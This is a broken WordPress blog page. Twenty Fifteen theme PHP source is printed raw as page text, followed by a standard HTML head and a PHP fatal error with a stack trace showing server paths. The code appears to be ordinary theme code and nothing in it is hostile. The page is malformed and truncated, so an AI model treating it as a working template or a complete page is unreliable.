'twentyfifteen-fonts', twentyfifteen_fonts_url(), array(), null ); // Add Genericons, used in the main stylesheet. wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.2' ); // Load our main stylesheet. wp_enqueue_style( 'twentyfifteen-style', get_stylesheet_uri() ); // Load the Internet Explorer specific stylesheet. wp_enqueue_style( 'twentyfifteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfifteen-style' ), '20141010' ); wp_style_add_data( 'twentyfifteen-ie', 'conditional', 'lt IE 9' ); // Load the Internet Explorer 7 specific stylesheet. wp_enqueue_style( 'twentyfifteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentyfifteen-style' ), '20141010' ); wp_style_add_data( 'twentyfifteen-ie7', 'conditional', 'lt IE 8' ); wp_enqueue_script( 'twentyfifteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20141010', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } if ( is_singular() && wp_attachment_is_image() ) { wp_enqueue_script( 'twentyfifteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20141010' ); } wp_enqueue_script( 'twentyfifteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150330', true ); wp_localize_script( 'twentyfifteen-script', 'screenReaderText', array( 'expand' => '<span class="screen-reader-text">' . __( 'expand child menu', 'twentyfifteen' ) . '</span>', 'collapse' => '<span class="screen-reader-text">' . __( 'collapse child menu', 'twentyfifteen' ) . '</span>', ) ); } add_action( 'wp_enqueue_scripts', 'twentyfifteen_scripts' ); /** * Add preconnect for Google Fonts. * * @since Twenty Fifteen 1.7 * * @param array $urls URLs to print for resource hints. * @param string $relation_type The relation type the URLs are printed. * @return array URLs to print for resource hints. */ function twentyfifteen_resource_hints( $urls, $relation_type ) { if ( wp_style_is( 'twentyfifteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) { if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) { $urls[] = array( 'href' => 'https://fonts.gstatic.com', 'crossorigin', ); } else { $urls[] = 'https://fonts.gstatic.com'; } } return $urls; } add_filter( 'wp_resource_hints', 'twentyfifteen_resource_hints', 10, 2 ); /** * Add featured image as background image to post navigation elements. * * @since Twenty Fifteen 1.0 * * @see wp_add_inline_style() */ function twentyfifteen_post_nav_background() { if ( ! is_single() ) { return; } $previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true ); $next = get_adjacent_post( false, '', false ); $css = ''; if ( is_attachment() && 'attachment' == $previous->post_type ) { return; } if ( $previous && has_post_thumbnail( $previous->ID ) ) { $prevthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $previous->ID ), 'post-thumbnail' ); $css .= ' .post-navigation .nav-previous { background-image: url(' . esc_url( $prevthumb[0] ) . '); } .post-navigation .nav-previous .post-title, .post-navigation .nav-previous a:hover .post-title, .post-navigation .nav-previous .meta-nav { color: #fff; } .post-navigation .nav-previous a:before { background-color: rgba(0, 0, 0, 0.4); } '; } if ( $next && has_post_thumbnail( $next->ID ) ) { $nextthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $next->ID ), 'post-thumbnail' ); $css .= ' .post-navigation .nav-next { background-image: url(' . esc_url( $nextthumb[0] ) . '); border-top: 0; } .post-navigation .nav-next .post-title, .post-navigation .nav-next a:hover .post-title, .post-navigation .nav-next .meta-nav { color: #fff; } .post-navigation .nav-next a:before { background-color: rgba(0, 0, 0, 0.4); } '; } wp_add_inline_style( 'twentyfifteen-style', $css ); } add_action( 'wp_enqueue_scripts', 'twentyfifteen_post_nav_background' ); /** * Display descriptions in main navigation. * * @since Twenty Fifteen 1.0 * * @param string $item_output The menu item output. * @param WP_Post $item Menu item object. * @param int $depth Depth of the menu. * @param array $args wp_nav_menu() arguments. * @return string Menu item with possible description. */ function twentyfifteen_nav_description( $item_output, $item, $depth, $args ) { if ( 'primary' == $args->theme_location && $item->description ) { $item_output = str_replace( $args->link_after . '</a>', '<div class="menu-item-description">' . $item->description . '</div>' . $args->link_after . '</a>', $item_output ); } return $item_output; } add_filter( 'walker_nav_menu_start_el', 'twentyfifteen_nav_description', 10, 4 ); /** * Add a `screen-reader-text` class to the search form's submit button. * * @since Twenty Fifteen 1.0 * * @param string $html Search form HTML. * @return string Modified search form HTML. */ function twentyfifteen_search_form_modify( $html ) { return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html ); } add_filter( 'get_search_form', 'twentyfifteen_search_form_modify' ); /** * Implement the Custom Header feature. * * @since Twenty Fifteen 1.0 */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. * * @since Twenty Fifteen 1.0 */ require get_template_directory() . '/inc/template-tags.php'; /** * Customizer additions. * * @since Twenty Fifteen 1.0 */ require get_template_directory() . '/inc/customizer.php'; <!DOCTYPE html> <html lang="en-US" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="http://www.basementquotes.com/xmlrpc.php"> <!--[if lt IE 9]> <script src="http://www.basementquotes.com/wp-content/themes/twentyfifteen/js/html5.js"></script> <![endif]--> <link rel='dns-prefetch' href='//s.w.org' /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/www.basementquotes.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7.28"}}; !function(t,a,e){var r,n,i,o=a.createElement("canvas"),l=o.getContext&&o.getContext("2d");function c(t){var e=a.createElement("script");e.src=t,e.defer=e.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(e)}for(i=Array("flag","emoji4"),e.supports={everything:!0,everythingExceptFlag:!0},n=0;n<i.length;n++)e.supports[i[n]]=function(t){var e,a=String.fromCharCode;if(!l||!l.fillText)return!1;switch(l.clearRect(0,0,o.width,o.height),l.textBaseline="top",l.font="600 32px Arial",t){case"flag":return(l.fillText(a(55356,56826,55356,56819),0,0),o.toDataURL().length<3e3)?!1:(l.clearRect(0,0,o.width,o.height),l.fillText(a(55356,57331,65039,8205,55356,57096),0,0),e=o.toDataURL(),l.clearRect(0,0,o.width,o.height),l.fillText(a(55356,57331,55356,57096),0,0),e!==o.toDataURL());case"emoji4":return l.fillText(a(55357,56425,55356,57341,8205,55357,56507),0,0),e=o.toDataURL(),l.clearRect(0,0,o.width,o.height),l.fillText(a(55357,56425,55356,57341,55357,56507),0,0),e!==o.toDataURL()}return!1}(i[n]),e.supports.everything=e.supports.everything&&e.supports[i[n]],"flag"!==i[n]&&(e.supports.everythingExceptFlag=e.supports.everythingExceptFlag&&e.supports[i[n]]);e.supports.everythingExceptFlag=e.supports.everythingExceptFlag&&!e.supports.flag,e.DOMReady=!1,e.readyCallback=function(){e.DOMReady=!0},e.supports.everything||(r=function(){e.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",r,!1),t.addEventListener("load",r,!1)):(t.attachEvent("onload",r),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&e.readyCallback()})),(r=e.source||{}).concatemoji?c(r.concatemoji):r.wpemoji&&r.twemoji&&(c(r.twemoji),c(r.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='https://api.w.org/' href='http://www.basementquotes.com/wp-json/' /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.basementquotes.com/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.basementquotes.com/wp-includes/wlwmanifest.xml" /> <link rel='prev' title='Engagement Tips – A Must Examine For Guys' href='http://www.basementquotes.com/engagement-tips-a-must-examine-for-guys/' /> <link rel='next' title='The Ultimate Solution for Buy Essay Online You Can Learn About Today' href='http://www.basementquotes.com/the-ultimate-solution-for-buy-essay-online-you-can-learn-about-today/' /> <meta name="generator" content="WordPress 4.7.28" /> <link rel="canonical" href="http://www.basementquotes.com/unique-approaches-to-pop-the-problem-recording-your-marriage-proposal-on-tape/" /> <link rel='shortlink' href='http://www.basementquotes.com/?p=655' /> <link rel="alternate" type="application/json+oembed" href="http://www.basementquotes.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.basementquotes.com%2Funique-approaches-to-pop-the-problem-recording-your-marriage-proposal-on-tape%2F" /> <link rel="alternate" type="text/xml+oembed" href="http://www.basementquotes.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.basementquotes.com%2Funique-approaches-to-pop-the-problem-recording-your-marriage-proposal-on-tape%2F&format=xml" /> <style type="text/css"></style><style type="text/css">.hb-datepick-popup-wrapper, .hb-datepick-wrapper { background: #ffffff; }.hb-day-available, .hb-day-taken-start, .hb-day-taken-end { background: #ffffff; }.hb-dp-day-past, .hb-dp-day-closed, .hb-dp-day-not-selectable, .hb-dp-day-past.hb-day-taken-start:before, .hb-dp-day-past.hb-day-taken-end:before, .hb-dp-day-past.hb-day-fully-taken,.hb-dp-day-closed.hb-day-taken-start:before, .hb-dp-day-closed.hb-day-taken-end:before, .hb-dp-day-closed.hb-day-fully-taken { background: #dddddd; }.hb-dp-day-past, .hb-dp-day-closed, .hb-dp-day-not-selectable, .hb-dp-day-no-check-in { color: #888888; }.hb-dp-day-check-in, .hb-dp-day-check-out { background: #ccf7cc; }.hb-day-taken-start:before, .hb-day-taken-end:before, .hb-day-fully-taken, .hb-avail-caption { background: #f7d7dc; }.hb-dp-cmd-wrapper a, .hb-dp-cmd-close { background: #333333; }.hb-dp-cmd-wrapper a:hover, .hb-dp-cmd-close:hover { background: #6f6f6f; }.hb-dp-cmd-wrapper a.hb-dp-disabled { background: #aaaaaa; }.hb-dp-cmd-wrapper a, .hb-dp-cmd-wrapper a:hover, .hb-dp-cmd-close, .hb-dp-cmd-close:hover { color: #ffffff; }.hb-dp-multi .hb-dp-month:not(.first), .hb-dp-month-row + .hb-dp-month-row, .hb-datepick-legend { border-color: #cccccc; }.hb-datepick-popup-wrapper { box-shadow: 0 0 30px rgba(0,0,0,0.33), 0 0 3px rgba(0,0,0,0.2); }.hb-availability-calendar .hb-datepick-wrapper { box-shadow: 0 0 4px rgba(0,0,0,0.5); }</style></head> <body class="post-template-default single single-post postid-655 single-format-standard wp-custom-logo"> <div id="page" class="hfeed site"> <a class="skip-link screen-reader-text" href="#content">Skip to content</a> <div id="sidebar" class="sidebar"> <header id="masthead" class="site-header" role="banner"> <div class="site-branding"> <br /> <b>Fatal error</b>: Uncaught Error: Call to undefined function twentyfifteen_the_custom_logo() in /home/homethe2/public_html/basementquotes.com/wp-content/themes/twentyfifteen/header.php:32 Stack trace: #0 /home/homethe2/public_html/basementquotes.com/wp-includes/template.php(684): require_once() #1 /home/homethe2/public_html/basementquotes.com/wp-includes/template.php(643): load_template('/home/homethe2/...', true) #2 /home/homethe2/public_html/basementquotes.com/wp-includes/general-template.php(45): locate_template(Array, true) #3 /home/homethe2/public_html/basementquotes.com/wp-content/themes/twentyfifteen/single.php(10): get_header() #4 /home/homethe2/public_html/basementquotes.com/wp-includes/template-loader.php(74): include('/home/homethe2/...') #5 /home/homethe2/public_html/basementquotes.com/wp-blog-header.php(19): require_once('/home/homethe2/...') #6 /home/homethe2/public_html/basementquotes.com/index.php(17): require('/home/homethe2/...') #7 {main} thrown in <b>/home/homethe2/public_html/basementquotes.com/wp-content/themes/twentyfifteen/header.php</b> on line <b>32</b><br />